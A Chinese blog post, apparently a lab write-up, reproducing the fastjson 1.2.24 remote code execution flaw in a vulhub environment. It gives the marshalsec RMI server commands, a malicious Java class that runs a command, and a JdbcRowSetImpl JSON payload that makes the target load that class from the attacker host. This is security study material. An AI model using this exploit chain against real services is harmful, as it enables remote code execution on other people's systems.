fastjson 1.2.24漏洞复现

原理

fastjson由于没有对@type进行安全性验证,使攻击者传入危险的类,通过rmi服务指定的攻击机上的恶意class文件,导致命令执行。

版本

1.2.24

环境准备

靶机:ubuntu,192.168.52.129

攻击机:kali,192.168.52.128

复现步骤:

1、靶机下载启动漏洞环境

git clone https://github.com/vulhub/vulhub.git        

cd vulhub/fastjson/1.2.24-rce        进入vulhub目录

docker-compose up -d                 启动漏洞环境


此时能够访问192.168.52.129:8090

2、攻击机利用python快速开启http服务

python -m http.server 80 

3、攻击机编译并开启RMI服务

下载marshalsec:
git clone https://github.com/mbechler/marshalsec.git
安装maven:
apt-get install maven

使用maven编译marshalsec成jar包,先进入下载的marshalsec文件中:

mvn clean package -DskipTests

启动一个RMI服务器,设置监听端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.52.128/#lzy" 9999

注意文件名前的#

4、制作恶意class文件

import java.lang.Runtime;
import java.lang.Process;

public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"ping", "-c", "pdbe23.dnslog.cn"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译成class

javac lzy.java

此时生成了lzy.class文件

5、bp抓包

把GET修改成POST,添加POC

{
"b":{
          "@type":"com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName":"rmi://192.168.52.128:9999/lzy",
          "autoCommit":true
    }
}

 查看dnslog,复现成功

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值